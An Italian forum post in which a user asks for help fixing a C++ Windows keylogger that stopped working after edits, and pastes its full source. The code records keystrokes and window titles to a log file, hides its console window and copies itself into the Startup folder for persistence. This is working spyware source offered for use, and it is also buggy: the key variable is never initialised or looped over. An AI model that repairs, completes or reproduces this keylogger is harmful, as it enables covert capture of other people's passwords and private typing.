Salve. Ho riscartabellato un vecchio keylogger che avevo di qualche tempo fa e funzionava. Ora gli ho apportato delle modifiche e non va più. Siccome mi sto impazzendo, che poi tanto lo so che è una cosa stupida (o un errore idiota o una dimenticanza), non è che potreste aiutarmi a capire qual è l'errore?? Grazie in anticipo!
Questo è il codice:
codice:
/*
KeyLogger v.Beta
Author: RYZ
Language: C++
*/
#include <iostream>
#include <windows.h>
#include <cstring>
#include <fstream>
using namespace std;
void logga(char stringa[500]);
void logga(char carattere); // OVERLOAD
void nasc_sposta(char *dir_destinazione);
char *GetEsecAutoDir();
ofstream log; //File di LOG
char *destinazioneLog; // Destinazione file di log
int main()
{
nasc_sposta(GetEsecAutoDir());
int key;
HWND finestra_corrente;
char titolo_finestra[255], attuale[255];
while(1)
{
Sleep(10); // Per non usare tutta la CPU
finestra_corrente = GetForegroundWindow();
GetWindowText(finestra_corrente, titolo_finestra, 254);
if(strcmp(titolo_finestra, attuale)!= 0)
{
logga("\n");
logga(titolo_finestra);
logga("\n");
}
strcpy(attuale, titolo_finestra);
// ========================= Titolo Finestra ================
if(GetAsyncKeyState(key)== -32767){
// Tasti F1,F1,F2 ecc
if(key >= 112 and key <= 123){
switch(key){
case 112: logga("[F1]"); break;
case 113: logga("[F2]"); break;
case 114: logga("[F3]"); break;
case 115: logga("[F4]"); break;
case 116: logga("[F5]"); break;
case 117: logga("[F6]"); break;
case 118: logga("[F7]"); break;
case 119: logga("[F8]"); break;
case 120: logga("[F9]"); break;
case 121: logga("[F10]"); break;
case 122: logga("[F11]"); break;
case 123: logga("[F12]"); break;
}
}
// Alfabeto
if(key >= 65 && key <= 90){
if(GetAsyncKeyState(VK_CAPITAL)==1 || GetAsyncKeyState(VK_SHIFT)==-127 || GetAsyncKeyState(VK_SHIFT)==-128 ){
// Se è premuto shift o Caps Lock è attivato memoriziamo la lettera in maiuscolo
logga(key);
}else{
// Se no memorizziamola in minuscolo
key += 32;
logga(key);
}
}
// TASTI numerici
if( GetAsyncKeyState(VK_SHIFT)==-127 || GetAsyncKeyState(VK_SHIFT)==-128 ){
// Se è premuto shift ...
switch(key){
case 48 : logga('='); break;
case 49 : logga('!'); break;
case 50 : logga('"'); break;
case 51 : logga('£'); break;
case 52 : logga('$'); break;
case 53 : logga('%'); break;
case 54 : logga('&'); break;
case 55 : logga('/'); break;
case 56 : logga('('); break;
case 57 : logga(')'); break;
}
}else{
// Se no stampa i numeri
if(key >= 48 && key <= 57)logga(key);
}
if( GetAsyncKeyState(VK_SHIFT)==-127 || GetAsyncKeyState(VK_SHIFT)==-128 ){
// Se è premuto Shift ...
switch(key){
case 186 : logga('é'); break;
case 187 : logga('*'); break;
case 188 : logga(';'); break;
case 189 : logga('_'); break;
case 190 : logga(':'); break;
case 191 : logga('§'); break;
case 192 : logga('ç'); break;
case 219 : logga('?'); break;
case 220 : logga('|'); break;
case 221 : logga('^'); break;
case 222 : logga('°'); break;
case 226 : logga('>'); break;
}
}else if((GetAsyncKeyState(17)==-127 || GetAsyncKeyState(17)==-128 )&&(GetAsyncKeyState(18)==-127 ||
GetAsyncKeyState(18)==-128 )&&( GetAsyncKeyState(162)==-127 || GetAsyncKeyState(162)==-128 )&&
(GetAsyncKeyState(165)==-127 || GetAsyncKeyState(165)==-128) ){
// Se tiene premuto ALT GR
switch(key){
case 101 : logga('€'); break;
case 192 : logga('@'); break;
case 222 : logga('#'); break;
case 187 : logga(']'); break;
case 186 : logga('['); break;
}
}else{
// Se no
switch(key){
case 192 : logga('ò'); break;
case 191 : logga('ù'); break;
case 222 : logga('à'); break;
case 187 : logga('+'); break;
case 186 : logga('è'); break;
case 188 : logga(','); break;
case 190 : logga('.'); break;
case 189 : logga('-'); break;
case 219 : logga('\''); break;
case 221 : logga('ì'); break;
case 226 : logga('<'); break;
case 220 : logga('\\'); break;
}
switch(key){
case 8 : logga("[BACK]"); break;
case 9 : logga("[TABLE]"); break;
case 11: logga("[HOME]"); break;
case 13: logga("[RETURN]"); break;
case 27: logga("[ESC]"); break;
case 32: logga("[SPACE]"); break;
case 33: logga("[PAG SU]"); break;
case 34: logga("[PAG GIU]"); break;
case 35: logga("[END]"); break;
case 36: logga("[HOME]"); break;
case 37: logga("[LEFT]"); break;
case 38: logga("[TOP]"); break;
case 39: logga("[RIGHT]"); break;
case 40: logga("[BOTTOM]"); break;
case 44: logga("[STAMP SCREEN]"); break;
case 45: logga("[INS]"); break;
case 46: logga("[CANC]"); break;
case 91: logga("[WINDOWS]"); break;
case 92: logga("[WINDOWS]"); break;
case 96: logga('0'); break;
case 97: logga('1'); break;
case 98: logga('2'); break;
case 99: logga('3'); break;
case 100: logga('4'); break;
case 101: logga('5'); break;
case 102: logga('6'); break;
case 103: logga('7'); break;
case 104: logga('8'); break;
case 105: logga('9'); break;
case 106: logga('*'); break;
case 107: logga('+'); break;
case 109: logga('-'); break;
case 110: logga('.'); break;
case 111: logga('/'); break;
case 144: logga("[BLOC NUM]"); break;
case 145: logga("[BLOC SCORR]"); break;
case 163: logga("[ESC]"); break;
case 255: logga("[SPACE]"); break;
}
}
}
}
return 0;
}
void nasc_sposta(char *dir_destinazione)
{
HWND invisibile;
invisibile = FindWindow("ConsoleWindowClass", NULL); //Valore finestra keylogger
ShowWindow(invisibile, SW_HIDE); //Nascondo finestra
MoveFile("key.exe", dir_destinazione); // Sposto in esecuzione automatica
}
char *GetEsecAutoDir()
{
char disco[255], utente[255], *user_path;
DWORD *a;
user_path = new char[255]; // Alloccazione dinamica
a = new DWORD[255]; // Come sopra
GetSystemDirectory(disco, 254); // Prendo disco rigido in uso
destinazioneLog = new char[255]; //destinazioneLog = disco; strcat(destinazioneLog, "\\key.log"); // Lo copio in variabile Globale
GetUserName(utente, a); // Prendo Nome Utente
strncpy(user_path, disco, 3); //
strcat(user_path, "Documents and Settings\\");
strcat(user_path, utente);// destinazioneLog = user_path; strcat(destinazioneLog, "\\logged.txt"); // cout << destinazioneLog; cin.get();
strcat(user_path, "\\Menu Avvio\\Programmi\\Esecuzione automatica\\key.exe");
return user_path; // Ritorno il cpleto valore per copiare il file in esecuzione auto
}
void logga(char carattere) // Loggo caratteri
{
log.open("log.txt", ios::app);
log << carattere;
log.close();
}
void logga(char stringa[500]) // Loggo caratteri speciali sotto forma di stringhe
{
log.open("log.txt", ios::app);
log << stringa;
log.close();
}